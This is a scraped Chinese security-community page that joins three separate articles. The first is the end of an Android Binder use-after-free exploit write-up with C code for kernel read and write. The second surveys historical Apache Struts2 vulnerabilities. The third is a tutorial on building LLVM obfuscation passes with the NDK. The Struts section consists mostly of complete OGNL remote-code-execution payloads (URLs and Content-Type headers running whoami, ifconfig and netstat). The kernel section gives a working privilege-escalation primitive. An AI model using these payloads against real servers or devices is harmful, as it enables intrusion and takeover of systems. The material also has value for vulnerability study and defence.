现在，这一进程地址限制已经被绕过，任意内核读写很简单，只要几个read和write系统调用。通过write将想要写入的数据写到管道，并在管道的另一端read一个内核地址，就可以将数据写入该内核地址。相反，通过write将数据从一个内核地址写入管道，然后在管道的另一端调用read，就可以从该内核地址读取数据。成功实现任意读写！
int kernel_rw_pipe[2];
//...
if(pipe(kernel_rw_pipe))
exitWithError("Kernel R/W Pipe failed: %s", strerror(errno));
//...
void kernel_write(unsigned long kaddr, void *data, size_t len)
{
if(len > 0x1000)
exitWithError("Reads/writes over the size of a page results causes issues.");
if(write(kernel_rw_pipe[1], data, len) != len)
exitWithError("Failed to write data to kernel (write)!");
if(read(kernel_rw_pipe[0], (void *)kaddr, len) != len)
exitWithError("Failed to write data to kernel (read)!");
}
void kernel_read(unsigned long kaddr, void *data, size_t len)
{
if(len > 0x1000)
exitWithError("Reads/writes over the size of a page results causes issues.");
if(write(kernel_rw_pipe[1], (void *)kaddr, len) != len)
exitWithError("Failed to read data from kernel (write)!");
if(read(kernel_rw_pipe[0], data, len) != len)
exitWithError("Failed to read data from kernel (read)!");
}
### 注意事项
某些设备(即使它们存在漏洞)可能会在writev调用中失败，因为它将返回0x1000而不是所需的0x2000。这通常是因为waitqueue的偏移量不正确，在这种情况下必须针对目标机器提取内核映像，并提取适当的偏移量(或对其进行暴力破解)。
## 结论
一旦完成了内核的读写操作，基本上就结束了。修改cred之后就可以获得root
shell。如果不是用的三星设备，则可以禁用SELinux并修补`init_task`以便在利用漏洞后启动的每个新进程均以完全特权自动启动。在三星设备上由于存在Knox我认为如果不做额外的工作不可能做到这一点。但是在大多数其他设备上这些应该不是问题。
值得注意的是，Project
Zero的EXP非常稳定。它很少会失败，而当它失败时通常只是返回错误而不是内核崩溃，因此只需要再次运行就可以了。对于像我这样设备具有OEM的人来说，这使其成为一种了不起的临时root方法。
总体而言，我认为Jann Horn和Maddie
Stone的这种利用策略非常新颖，我从中学到了很多东西。它为我提供了一种关于UAF的全新观点：如果无法从UAF对象本身获得有用的原语，可能也存在其它的方法。
## 参考资料/其它资源
[Issue 1942: Android; Use-After-Free in Binder driver (Chromium Bug
Tracker)](https://bugs.chromium.org/p/project-zero/issues/detail?id=1942
"Issue 1942: Android; Use-After-Free in Binder driver \(Chromium Bug
Tracker\)")
[Project Zero Exploit](https://bugs.chromium.org/p/project-zero/issues/attachmentText?aid=414885 "Project Zero Exploit")
[Syzkaller kASAN report](https://groups.google.com/forum/#!msg/syzkaller-bugs/QyXdgUhAF50/g-FXVo1OAwAJ "Syzkaller kASAN report")
[Bootlin Linux kernel source
browser](https://elixir.bootlin.com/linux/v4.4.177/source "Bootlin Linux
kernel source browser")
## 感谢
Jann Horn和Maddie Stone提供了本文引用的EXP代码。 | 社区文章 |
# 【技术分享】浅谈struts2历史上的高危漏洞
|
##### 译文声明
本文是翻译文章，文章来源：安全客
译文仅供参考，具体内容表达以及含义原文为准。
****
****
作者：[ **Carpediem**](http://bobao.360.cn/member/contribute?uid=2659563319)
预估稿费：300RMB
投稿方式：发送邮件至linwei#360.cn，或登陆网页版在线投稿
**
**
**前言**
Apache Struts2作为世界上最流行的Java
Web框架之义，广泛应用于教育、金融、互联网、通信等重要行业。它的一个高危漏洞危害都有可能造成重大的互联网安全风险和巨大的经济损失。本文旨在对以往的高危漏洞形成原因、受影响的版本以及相应的利用方式进行一次梳理，若有不完善的地方欢迎大家指正。
先来介绍一些基本知识：Struts1是全世界第一个发布的MVC框架，Struts2实在webwork和Struts1的基础上开发的，Struts2和webwork底层都用到了xwork。并且整合了一种更为强大的表达式语言：ognl。基于Struts2框架开发项目的时候，需要引用一些基础的jar包，在Struts
2.0.*的时候，Struts2的必备jar包需要如下5个：
struts2-core-x.x.jar -----------------struts2的核心包
Freemarker-x.x.jar---------------------FreeMarker是一个模板引擎，一个基于模板生成文本输出的通用工具
commons-logging.jar ------------------通用日志记录包
ognl-x.x.jar ——————— ---------支持ognl表达式
xwork-x.x.jar ——————— --------xwork的包 由于Struts2是由xwork的延伸 有些类依然关联着 xwork的类
之后的版本的struts2可能还需要其他的jar包，比如commons-fileupload-1.2.1.jar 支持文件上传的jar包。
apache（[http://struts.apache.org/docs/security-bulletins.html](http://struts.apache.org/docs/security-bulletins.html)）历史上涉及的高危漏洞如下：S2-003，S2-005，S2-007，S2-008，S2-009，S2-012~S2-016，S2-019、S2-032、S2-033、S2-037、S2-045、S2-046、S2-048、DevMode。
**一 S2-003、S2-005、S2-007**
**S2-003**
受影响版本：低于Struts 2.0.12
Struts2会将HTTP的每个参数名解析为ognl语句执行（可理解为Java代码）。ognl表达式通过#来访问struts的对象，Struts框架通过过滤#字符防止安全问题，然后通过unicode编码（u0023）或8进制（43）即绕过了安全限制。
**S2-005**
受影响版本：低于Struts 2.2.1
对于S2-003漏洞，官方通过增加安全配置（禁止静态方法调用和类方法执行等）来修补，安全配置被绕过再次导致了漏洞。
EXP:[](http://127.0.0.1:8080/struts2-showcase-2.1.6/showcase.action?%28%27%5C43_memberAccess.allowStaticMethodAccess%27%29%28a%29=true&%28b%29%28%28%27%5C43context%5B%5C%27xwork.MethodAccessor.denyMethodExecution%5C%27%5D%5C75false%27%29%28b%29%29&%28%27%5C43c%27%29%28%28%27%5C43_memberAccess.excludeProperties%[email protected]@EMPTY_SET%27%29%28c%29%29&%28g%29%28%28%27%5C43mycmd%5C75%5C%27whoami%5C%27%27%29%28d%29%29&%28h%29%28%28%27%5C43myret%[email protected]@getRuntime%28%29.exec%28%5C43mycmd%29%27%29%28d%29%29&%28i%29%28%28%27%5C43mydat%5C75new%5C40java.io.DataInputStream%28%5C43myret.getInputStream%28%29%29%27%29%28d%29%29&%28j%29%28%28%27%5C43myres%5C75new%5C40byte%5B51020%5D%27%29%28d%29%29&%28k%29%28%28%27%5C43mydat.readFully%28%5C43myres%29%27%29%28d%29%29&%28l%29%28%28%27%5C43mystr%5C75new%5C40java.lang.String%28%5C43myres%29%27%29%28d%29%29&%28m%29%28%28%27%5C43myout%[email protected]@getResponse%28%29%27%29%28d%29%29&%28n%29%28%28%27%5C43myout.getWriter%28%29.println%28%5C43mystr%29%27%29%28d%29%29)
http://127.0.0.1:8080/struts2-showcase-2.1.6/showcase.action?%28%2743_memberAccess.allowStaticMethodAccess%27%29%28a%29=true&%28b%29%28%28%2743context[%27xwork.MethodAccessor.denyMethodExecution%27]75false%27%29%28b%29%29&%28%2743c%27%29%28%28%[email protected]@EMPTY_SET%27%29%28c%29%29&%28g%29%28%28%2743mycmd75%27whoami%27%27%29%28d%29%29&%28h%29%28%28%[email protected]@getRuntime%28%29.exec%2843mycmd%29%27%29%28d%29%29&%28i%29%28%28%2743mydat75new40java.io.DataInputStream%2843myret.getInputStream%28%29%29%27%29%28d%29%29&%28j%29%28%28%2743myres75new40byte[51020]%27%29%28d%29%29&%28k%29%28%28%2743mydat.readFully%2843myres%29%27%29%28d%29%29&%28l%29%28%28%2743mystr75new40java.lang.String%2843myres%29%27%29%28d%29%29&%28m%29%28%28%[email protected]@getResponse%28%29%27%29%28d%29%29&%28n%29%28%28%2743myout.getWriter%28%29.println%2843mystr%29%27%29%28d%29%29
执行的“whoami”命令，将会直接写入到showcase.action文件中，并下载到本地。
**S2-007**
受影响版本：低于Struts 2.2.3.1
S2-007和S2-003、S2-005的漏洞源头都是一样的，都是struts2对OGNL的解析过程中存在漏洞，导致黑客可以通过OGNL表达式实现代码注入和执行，所不同的是:
1\. S2-003、S2-005: 通过OGNL的name-value的赋值解析过程、#访问全局静态变量(AOP思想)实现代码执行
2\. S2-007: 通过OGNL中String向long转换过程实现代码执行
假设hello.java中定义了一个整数long
id，id来自于用户输入，传递一个非整数给id导致错误，struts会将用户的输入当作ongl表达式执行，从而导致了漏洞,因此要想利用此漏洞，程序中必须有可以接受外界输入的id等参数。
EXP:
http://x.x.x.x/hello.action?id='%2b(%23_memberAccess.allowStaticMethodAccess=true,%23context["xwork.MethodAccessor.denyMethodExecution"]=false,%23cmd="ifconfig",%[email protected]@getRuntime().exec(%23cmd),%23data=new+java.io.DataInputStream(%23ret.getInputStream()),%23res=new+byte[500],%23data.readFully(%23res),%23echo=new+java.lang.String(%23res),%[email protected]@getResponse(),%23out.getWriter().println(%23echo))%2b'
**二 S2-009**
受影响版本：低于Struts 2.3.1.1
EXP:[](http://127.0.0.1:8080/struts2-showcase-2.1.6/showcase.action?foo=%28%23context%5B%22xwork.MethodAccessor.denyMethodExecution%22%5D%3D+new+java.lang.Boolean%28false%29,%20%23_memberAccess%5B%22allowStaticMethodAccess%22%5D%3D+new+java.lang.Boolean%28true%29,%[email protected]@getRuntime%28%29.exec%28%27mkdir%20/tmp/PWNAGE%27%29%29%28meh%29&z%5B%28foo%29%28%27meh%27%29%5D=true)
http://127.0.0.1:8080/struts2-showcase-2.1.6/showcase.action?foo=%28%23context[%22xwork.MethodAccessor.denyMethodExecution%22]%3D+new+java.lang.Boolean%28false%29,%20%23_memberAccess[%22allowStaticMethodAccess%22]%3d+new+java.lang.Boolean%28true%29,%[email protected]@getRuntime%28%29.exec%28%27mkdir%20/tmp/PWNAGE%27%29%29%28meh%29&z[%28foo%29%28%27meh%27%29]=true
将会在系统上建立/tmp/PWNAGE文件。
**三 S2-012、S2-013**
受影响版本：低于Struts 2.3.14.1
struts2中可以通过${express}或%{express}来引用ongl表达式，当配置一个action中有${input}或%{input}且input来自于外部输入时，给input赋值%{exp}，从而导致任意代码执行。Struts2标签库中的url标签和a标签的includeParams这个属性，代表显示请求访问参数的含义，一旦它的值被赋予ALL或者GET或者
POST，就会显示具体请求参数内容，问题在于，struts竟然把参数做了OGNL解析。
x.jsp
<s:a includeParams="all">Click here.</s:a>
EXP:
http://x.x.x.x/x.jsp?a=1${(%23_memberAccess["allowStaticMethodAccess"]=true,%[email protected]@getRuntime().exec('whoami').getInputStream(),%23b=new+java.io.InputStreamReader(%23a),%23c=new+java.io.BufferedReader(%23b),%23d=new+char[50000],%23c.read(%23d),%[email protected]@getResponse().getWriter(),%23sbtest.println(%23d),%23sbtest.close())}
**四 S2-016**
受影响版本：低于Struts 2.3.15.1
在struts2中，DefaultActionMapper类支持以”action:”、”redirect:”、”redirectAction:"作为导航或是重定向前缀，但是这些前缀后面同时可以跟OGNL表达式，由于struts2没有对这些前缀做过滤，导致利用OGNL表达式调用java静态方法执行任意系统命令。
以“redirect”为例进行命令执行：
EXP1:[](http://127.0.0.1:8080/struts2-showcase-2.1.6/showcase.action?redirect:%24%7B%23a%3D%28new%20java.lang.ProcessBuilder%28new%20java.lang.String%5B%5D%20%7B%27netstat%27,%27-an%27%7D%29%29.start%28%29,%23b%3D%23a.getInputStream%28%29,%23c%3Dnew%20java.io.InputStreamReader%20%28%23b%29,%23d%3Dnew%20java.io.BufferedReader%28%23c%29,%23e%3Dnew%20char%5B50000%5D,%23d.read%28%23e%29,%23matt%3D%20%23context.get%28%27com.opensymphony.xwork2.dispatcher.HttpServletResponse%27%29,%23matt.getWriter%28%29.println%20%28%23e%29,%23matt.getWriter%28%29.flush%28%29,%23matt.getWriter%28%29.close%28%29%7D)
http://127.0.0.1:8080/struts2-showcase-2.1.6/showcase.action?redirect:${%23a%3d%28new%20java.lang.ProcessBuilder%28new%20java.lang.String[]%20{%27netstat%27,%27-an%27}%29%29.start%28%29,%23b%3d%23a.getInputStream%28%29,%23c%3dnew%20java.io.InputStreamReader%20%28%23b%29,%23d%3dnew%20java.io.BufferedReader%28%23c%29,%23e%3dnew%20char[50000],%23d.read%28%23e%29,%23matt%3d%20%23context.get%28%27com.opensymphony.xwork2.dispatcher.HttpServletResponse%27%29,%23matt.getWriter%28%29.println%20%28%23e%29,%23matt.getWriter%28%29.flush%28%29,%23matt.getWriter%28%29.close%28%29}
[](http://127.0.0.1:8080/struts2-showcase-2.1.6/showcase.action?redirect:%24%7B%23a%3D%28new%20java.lang.ProcessBuilder%28new%20java.lang.String%5B%5D%20%7B%27netstat%27,%27-an%27%7D%29%29.start%28%29,%23b%3D%23a.getInputStream%28%29,%23c%3Dnew%20java.io.InputStreamReader%20%28%23b%29,%23d%3Dnew%20java.io.BufferedReader%28%23c%29,%23e%3Dnew%20char%5B50000%5D,%23d.read%28%23e%29,%23matt%3D%20%23context.get%28%27com.opensymphony.xwork2.dispatcher.HttpServletResponse%27%29,%23matt.getWriter%28%29.println%20%28%23e%29,%23matt.getWriter%28%29.flush%28%29,%23matt.getWriter%28%29.close%28%29%7D)
**五 S2-019**
Struts 2.0.0 – Struts 2.3.15.1
Struts 2.3.15.2以后的版本默认关闭开发模式, 比较鸡肋。
<constant name="struts.enable.DynamicMethodInvocation" value="false”/>
EXP:
http://x.x.x.x/x.action?debug=command&expression=#f=#_memberAccess.getClass().getDeclaredField('allowStaticMethodAccess'),#f.setAccessible(true),#f.set(#_memberAccess,true),#[email protected]@getRequest(),#[email protected]@getResponse().getWriter(),#a=(new java.lang.ProcessBuilder(new java.lang.String[]{'whoami'})).start(),#b=#a.getInputStream(),#c=new java.io.InputStreamReader(#b),#d=new java.io.BufferedReader(#c),#e=new char[1000],#d.read(#e),#resp.println(#e),#resp.close()
**六 S2-032 S2-033 S2-037**
受影响版本：2.3.18-2.3.28(except 2.3.20.2 and 2.3.24.2)。
**S2-032**
假如动态方法调用已经开启,然后我们要调用对应的login方法的话
我们可以通过[http://localhost:8080/struts241/index!login.action](http://localhost:8080/struts241/index!login.action)来执行动态的方法调用。这种动态方法调用的时候method中的特殊字符都会被替换成空，但是可以通过[http://localhost:8080/struts241/index.action?method:login](http://localhost:8080/struts241/index.action?method:login%C0%B4%C8%C6%B9%FD%CE%DE%B7%A8%B4%AB%C8%EB%CC%D8%CA%E2%D7%D6%B7%FB%B5%C4%CF%DE%D6%C6)[来绕过无法传入特殊字符的限制](http://localhost:8080/struts241/index.action?method:login%C0%B4%C8%C6%B9%FD%CE%DE%B7%A8%B4%AB%C8%EB%CC%D8%CA%E2%D7%D6%B7%FB%B5%C4%CF%DE%D6%C6)。
EXP:
http://x.x.x.x/x.action?method:%23_memberAccess[%23parameters.name1[0]]%3dtrue,%23_memberAccess[%23parameters.name[0]]%3dtrue,%23_memberAccess[%23parameters.name2[0]]%3d{},%23_memberAccess[%23parameters.name3[0]]%3d{},%23res%3d%40org.apache.struts2.ServletActionContext%40getResponse(),%23res.setCharacterEncoding(%23parameters.encoding[0]),%23w%3d%23res.getWriter(),%23s%3dnew%20java.util.Scanner(@java.lang.Runtime@getRuntime().exec(%23parameters.cmd[0]).getInputStream()).useDelimiter(%23parameters.pp[0]),%23str%3d%23s.hasNext()%3f%23s.next()%3a%23parameters.ppp[0],%23w.print(%23str),%23w.close(),1?%23xx:%23request.toString&name=allowStaticMethodAccess&name1=allowPrivateAccess&name2=excludedPackageNamePatterns&name3=excludedClasses&cmd=whoami&pp=\\A&ppp=%20&encoding=UTF-8
**S2-033**
该漏洞依附于S2-032漏洞，当开启动态方法调用，并且同时使用了Strut2 REST
Plugin插件时，使用“!”操作符调用动态方法可能执行ognl表达式，导致代码执行。
EXP:[](http://localhost:8080/struts2-rest-showcase-280/orders/3!%23_memberAccess%[email protected]@DEFAULT_MEMBER_ACCESS,@java.lang.Runtime@getRuntime%28%29.exec%28%23parameters.command%5B0%5D\),%23xx%3D123,%23xx.toString.json?&command=calc.exe)
http://localhost:8080/struts2-rest-showcase-280/orders/3!%23_memberAccess%[email protected]@DEFAULT_MEMBER_ACCESS,@java.lang.Runtime@getRuntime%28%29.exec%28%23parameters.command[0]),%23xx%3d123,%23xx.toString.json?&command=calc.exe
**S2-037**
该漏洞受影响版本等同于S2-032、S2-003，尽管不需要配置struts.enable.DynamicMethodInvocation为true，但是需要调用Strut2
REST 插件才能触发。Strut2
REST还支持actionName/id/methodName这种方式处理解析uri，直接将id后面的内容作为method属性设置到mapping中。
EXP:[](http://localhost:8080/struts2-rest-showcase-280/orders/3/%23_memberAccess%[email protected]@DEFAULT_MEMBER_ACCESS,@java.lang.Runtime@getRuntime%28%29.exec%28%23parameters.command%5B0%5D\),%23xx%3D123,%23xx.toString.json?&command=calc.exe)
http://localhost:8080/struts2-rest-showcase-280/orders/3/%23_memberAccess%[email protected]@DEFAULT_MEMBER_ACCESS,@java.lang.Runtime@getRuntime%28%29.exec%28%23parameters.command[0]),%23xx%3d123,%23xx.toString.json?&command=calc.exe
**七 S2-045 、S2-046**
受影响的版本：
Struts 2.3.5 – Struts 2.3.31
Struts 2.5 – Struts 2.5.10
**S2-045:**
这个漏洞是由于Strus2对错误消息处理出现了问题，通过Content-Type这个header头，注入OGNL语言，进而执行命令。攻击者可以将恶意代码通过http报文头部的Content-Type字段传递给存在漏洞的服务器，导致任意代码执行漏洞，要想顺利触发德华，lib中一定要有commons-fileupload-x.x.x.jar包
Content-Type：%{(#nike='multipart/form-data').(#[email protected]@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='ifconfig').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}
**S2-046:**
该漏洞与S2-045触发点一样，但利用方式不同，使用恶意的Content-Disposition值或者使用不合适的Content-Length头就可能导致远程命令执行。
**八 S2-048**
受影响的Struts版本：Apache Struts 2.3.x系列中启用了struts2-struts1-plugin插件的版本
这个漏洞主要问题出在struts2-struts1-plugin这个非默认的插件包上，由于struts2-struts1-plugin 包中的
“Struts1Action.java” 中的 execute 函数可以调用 getText() 函数，这个函数刚好又能执行OGNL表达式，同时这个
getText() 的
参数输入点，又可以被用户直接进行控制，如果这个点被恶意攻击者所控制，就可以构造恶意执行代码，从而实现一个RCE攻击。该漏洞利用的payload
与s2-045其实都是一样的，只是触发点不同和影响范围不同而已。
Content-Type:%{(#nike='multipart/form-data').(#[email protected]@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='whoami').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}
**九 DevMode**
影响版本：Struts 2.1.0–2.5.1
S2-008漏洞也是一个devMode下的远程执行漏洞，由于当时Apache还没有专门的声明，要求开发者在发布系统的时候必须关闭devMode，因此这个漏洞当时还是被他们给予了CVE编号，并在后续比较迟的时候增加了对其利用方式的过滤处理。CVE编号授予的时候，Struts2的最新版本为2.3.1，但在其后直至2.3.28之前的版本都能够触发这个漏洞，从2.3.29开始，官方增加了一个检查项——禁止链式表达式，这才阻止了特定ognl表达式的执行。但是不得不说该漏洞一直存在，只是利用条件变得越来越苛刻。
当struts.xml或struts.properties配置文件中
< constant name=“struts.devMode” value=“true” />
便会触发相应漏洞。
EXP1:
http://localhost:8080/test02/Login.action?debug=command&expression=%23context%5b%22xwork.MethodAccessor.denyMethodExecution%22%5d%3dfalse%2c%23f%3d%23_memberAccess.getClass%28%29.getDeclaredField%28%22allowStaticMethodAccess%22%29%2c%23f.setAccessible%28true%29%2c%23f.set%28%23_memberAccess%2ctrue%29%2c%23a%[email protected]@getRuntime%28%29.exec%28%22whoami%22%29.getInputStream%28%29%2c%23b%3dnew java.io.InputStreamReader%28%23a%29%2c%23c%3dnew java.io.BufferedReader%28%23b%29%2c%23d%3dnew char%5b50000%5d%2c%23c.read%28%23d%29%2c%23genxor%3d%23context.get%28%22com.opensymphony.xwork2.dispatcher.HttpServletResponse%22%29.getWriter%28%29%2c%23genxor.println%28%23d%29%2c%23genxor.flush%28%29%2c%23genxor.close%28%29
EXP2:[](http://localhost:8080/test02/Login.action?debug=command&expression=%23application)
http://localhost:8080/test02/Login.action?debug=command&expression=%23application
[](http://localhost:8080/test02/Login.action?debug=command&expression=%23application)
**参考文章**
1.<http://blog.csdn.net/qq_29277155/article/details/51672877>
2.[http://netsecurity.51cto.com/art/201707/544837.htm](http://netsecurity.51cto.com/art/201707/544837.htm)
3.[https://www.seebug.org/vuldb/ssvid-92088](https://www.seebug.org/vuldb/ssvid-92088)
4.[https://www.waitalone.cn/struts2-command-exp.html](https://www.waitalone.cn/struts2-command-exp.html)
5.[https://cwiki.apache.org/confluence/display/WW/S2-009](https://cwiki.apache.org/confluence/display/WW/S2-009)
6.[http://www.cnblogs.com/shellr00t/p/5721558.html](http://www.cnblogs.com/shellr00t/p/5721558.html) | 社区文章 |
关键词：
* 不需要编译llvm
* 仅依赖NDK，不需要额外的其他环境
* 不会遇到配置引起的符号NotFound问题
* 不污染NDK
# 一、背景介绍
现在代码保护技术很多是在llvm上实现的，例如 `ollvm` 和
`hikari`，作者给出的实现是将源码混杂在llvm中，这样做非常不优雅。近来越来越多安全工作者都开始接触和研究基于llvm的代码保护，工欲善其事必先利其器，在编译、运行均是本机的环境下，不会出问题，因此本文介绍的是，如何优雅地在NDK中加载pass。
安卓开发者使用混淆技术来保护native代码时，一般有两种选择：
第一个选择是获得git上 `ollvm` 或 `hikari` 的代码，编译后，替换掉NDK中原先的toolchain。
这是最不优雅的方式，因为维护起来很麻烦，因为需要编译整个llvm工程，并且对NDK有侵入性，无法保证修改前和修改后NDK的功能不发生变化。
第二个选择是，编译llvm工程，替换掉NDK中原先的toolchain，并且在相同环境下，移植 `ollvm` 或`hikari`
为独立的plugin，（移植方案我的github里有写 <https://github.com/LeadroyaL/llvm-pass-tutorial>
）用编译为插件的形式，动态加载插件。
相比第一个方案，极大降低维护的代价，只编译一个pass即可，但仍然对NDK有侵入性。
这两种方案的共同特点是：都需要编译整个llvm项目，初次部署时要消耗大量的时间和资源，另外在选择llvm版本时，也会纠结适配性的问题（虽然通常不会出现适配问题）
笔者曾经使用的是第二种方案，经过研究，本文提出第三种方案，使用NDK中的环境编译pass并加载pass，优雅程度上来看，有以下的特点：
* 最最重要的，不需要编译llvm项目，节省巨大的时间和资源消耗；
* 其次，不修改原先的NDK运行环境，和原生的NDK是最像的，没有侵入性；
* 再次，上下文均和NDK完全一致，不需要担心符号问题，不需要额外安装软件和环境，有NDK的环境就足矣；
本文演示的环境是：ubuntu18.04（任意linux均可）、ndk-r20（任意NDK版本均可）、cmake（选择较高版本）
# 二、使用NDK的环境编译一个pass
众所周知，编译Pass时需要使用llvm的环境，由于NDK中的llvm环境是破损的，所以开发者一般自己编译一份llvm环境出来，替换掉NDK中的llvm环境，包括我本人之前也是这样处理的，这样做的原因是NDK中的llvm是破损的，因为NDK来自AOSP编译好的toolchain，而AOSP在制作toolchain的过程中是移除了部分文件的。
上文提到，本文的方案是不需要亲自编译llvm的，因此就需要使用NDK中的破损的llvm环境来编译一个pass。
根据对 <https://android.googlesource.com/toolchain/llvm_android/>
的阅读和调试，NDK中的llvm缺失的是一部分binary文件、全部静态链接库文件、全部头文件，采用的是静态连接的方式，它的clang是较为独立的文件（它会依赖libc++，因此成为较为独立）。
平时编译Pass时，需要使用cmake并且导入各种cmake相关的环境，通常写如下的配置文件，<https://github.com/abenkhadra/llvm-pass-tutorial/blob/master/CMakeLists.txt>
cmake_minimum_required(VERSION 3.4)
# we need LLVM_HOME in order not automatically set LLVM_DIR
if(NOT DEFINED ENV{LLVM_HOME})
message(FATAL_ERROR "$LLVM_HOME is not defined")
else ()
set(ENV{LLVM_DIR} $ENV{LLVM_HOME}/lib/cmake/llvm)
endif()
find_package(LLVM REQUIRED CONFIG)
add_definitions(${LLVM_DEFINITIONS})
include_directories(${LLVM_INCLUDE_DIRS})
link_directories(${LLVM_LIBRARY_DIRS})
add_subdirectory(skeleton) # Use your pass name here.
**幸运的是** ，NDK中的lib/cmake/llvm还在，里面的cmake文件都是原汁原味的的。
**不幸的是** ，由于AOSP在编译toolchain时设置了 `defines['LLVM_LIBDIR_SUFFIX'] = '64'`
，导致find_package的路径应该是 `lib64/cmake/llvm`，需要稍加修改
之后进行 `mkdir b;cd b;cmake ..`
会报如下的错误：
➜ b git:(master) ✗ cmake ..
CMake Error at /home/leadroyal/Android/Sdk/ndk/20.0.5594570/toolchains/llvm/prebuilt/linux-x86_64/lib64/cmake/llvm/LLVMExports.cmake:806 (message):
The imported target "LLVMDemangle" references the file
"/home/leadroyal/Android/Sdk/ndk/20.0.5594570/toolchains/llvm/prebuilt/linux-x86_64/lib64/libLLVMDemangle.a"
but this file does not exist. Possible reasons include:
* The file was deleted, renamed, or moved to another location.
* An install or uninstall procedure did not complete successfully.
* The installation package was faulty and contained
"/home/leadroyal/Android/Sdk/ndk/20.0.5594570/toolchains/llvm/prebuilt/linux-x86_64/lib64/cmake/llvm/LLVMExports.cmake"
but not all the files it references.
Call Stack (most recent call first):
/home/leadroyal/Android/Sdk/ndk/20.0.5594570/toolchains/llvm/prebuilt/linux-x86_64/lib64/cmake/llvm/LLVMConfig.cmake:173 (include)
CMakeLists.txt:8 (find_package)
-- Configuring incomplete, errors occurred!
See also "/home/leadroyal/llvm-pass-tutorial/b/CMakeFiles/CMakeOutput.log".
因为NDK不含有.a文件，而cmake会检查这些文件，用于静态连接，被认为初始化失败，出错。
看源码对应的位置：
# Loop over all imported files and verify that they actually exist
foreach(target ${_IMPORT_CHECK_TARGETS} )
foreach(file ${_IMPORT_CHECK_FILES_FOR_${target}} )
if(NOT EXISTS "${file}" )
message(FATAL_ERROR "The imported target \"${target}\" references the file
\"${file}\"
but this file does not exist. Possible reasons include:
* The file was deleted, renamed, or moved to another location.
* An install or uninstall procedure did not complete successfully.
* The installation package was faulty and contained
\"${CMAKE_CURRENT_LIST_FILE}\"
but not all the files it references.
")
endif()
endforeach()
unset(_IMPORT_CHECK_FILES_FOR_${target})
endforeach()
在文件不存在时，报 `message(FATAL_ERROR
xxxxxx)`，从而中断编译，但我们本来就是编译动态链接库的，不需要.a文件，所以这里做一个patch，降低log_level，使用WARNING等级。
- message(FATAL_ERROR "The imported target \"${target}\" references the file
+ message(WARNING "The imported target \"${target}\" references the file
接下来面对第二个问题，之前提到过，NDK中缺失我们需要的头文件，它们本该出现在include/llvm中，因此这句话失效了
include_directories(${LLVM_INCLUDE_DIRS})
但我们又不能随便找一堆头文件过来，版本之间可能有变更，万一用到一些配置不一样的头文件，就会出现非预期（例如经常出错的LLVM_ENABLE_ABI_BREAKING_CHECKS配置）
此时的思路是，找到NDK中llvm生成时的那份commit，从中获取include文件，有两个方案
* 第一个方案是找到源码并使用cmake帮我们提取一遍。
* 第二个方案是直接使用aosp提供的prebuilt文件，显然为了方便我们选择后者。
`toolchain` 在生成时会有一份描述版本信息的文件，在ndk生成时也被拷贝过来了
➜ linux-x86_64 cat /home/leadroyal/Android/Sdk/ndk/20.0.5594570/toolchains/llvm/prebuilt/linux-x86_64/AndroidVersion.txt
8.0.7
based on r346389c
**【AOSP相关访问google的前提条件你懂的】**
`r346389c` 就是这份toolchain的唯一标识，它与出现在
<https://android.googlesource.com/platform/prebuilts/clang/host/linux-x86/>
中的一系列clang-rxxxx是一回事，由于这个README.md经常被更新，我们需要checkout到对应的tag才可以找到它，<https://android.googlesource.com/platform/prebuilts/clang/host/linux-x86/+/refs/tags/ndk-r20>。
于是在
<https://android.googlesource.com/platform/prebuilts/clang/host/linux-x86/+/refs/tags/ndk-r20/clang-r346389c/include/>
中我们非常轻易就获取到了那份编译时刻的
`include/llvm`和`include/llvm-c`文件，使用点击右上角的tgz，有用的只有`llvm`和`llvm-c`，另外的`clang`、`clang-c`、`lld`我们用不到我就不下载了。
<https://android.googlesource.com/platform/prebuilts/clang/host/linux-x86/+archive/refs/tags/ndk-r20/clang-r346389c/include/llvm.tar.gz>
[https://android.googlesource.com/platform/prebuilts/clang/host/linux-x86/+archive/refs/tags/ndk-r20/clang-r346389c/include/llvm-c.tar.gz](https://android.googlesource.com/platform/prebuilts/clang/host/linux-x86/+archive/refs/tags/ndk-r20/clang-r346389c/include/llvm.tar.gz)
即可获得到这个目录的压缩包。
mac 对应的目录是
<https://android.googlesource.com/platform/prebuilts/clang/host/darwin-x86/+/refs/tags/ndk-r20/clang-r346389c/include/>
如果可以接受NDK被污染（我使用的是这个方案），可以将它放到NDK的toolchain中，这样就可以继续使用 `${LLVM_INCLUDE_DIRS}`
这个变量；
如果不能接受NDK被污染，就随便放个目录，使用 `include_directories(/path/to/clang-r346389c/include)`
比如放在NDK里的include里，是这个样子（c++目录本来就有）
➜ include lsa
total 5.4M
drwxr-xr-x 8 leadroyal leadroyal 4.0K Oct 21 02:13 .
drwxr-xr-x 15 leadroyal leadroyal 4.0K Oct 20 23:16 ..
drwxr-xr-x 4 leadroyal leadroyal 4.0K Oct 21 02:12 c++
drwxr-xr-x 33 leadroyal leadroyal 4.0K Oct 21 02:12 llvm
drwxr-xr-x 3 leadroyal leadroyal 4.0K Oct 21 02:12 llvm-c
